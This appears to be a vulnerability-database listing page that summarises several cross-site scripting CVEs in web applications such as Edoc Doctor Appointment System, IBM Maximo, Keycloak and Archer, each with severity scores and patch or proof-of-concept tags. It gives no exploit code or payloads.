XSS Simple Task Managing System
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Edoc-doctor-appointment-system v1.0.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability at /patient/settings.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Edoc Doctor Appointment System
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Edoc-doctor-appointment-system v1.0.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability at /patient/index.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Edoc Doctor Appointment System
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Maximo Asset Management 7.6.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Maximo Asset Management
NVD
EPSS 3% CVSS 5.4
MEDIUM POC PATCH This Month

A flaw was found in Keycloak. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Keycloak Single Sign On
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in Online Diagnostic Lab Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Online Diagnostic Lab Management System
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Archer Platform 6.9 SP2 P2 before 6.11 P3 (6.11.0.3) contain a reflected XSS vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Archer
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39228

Related CWEs

MITRE ATT&CK

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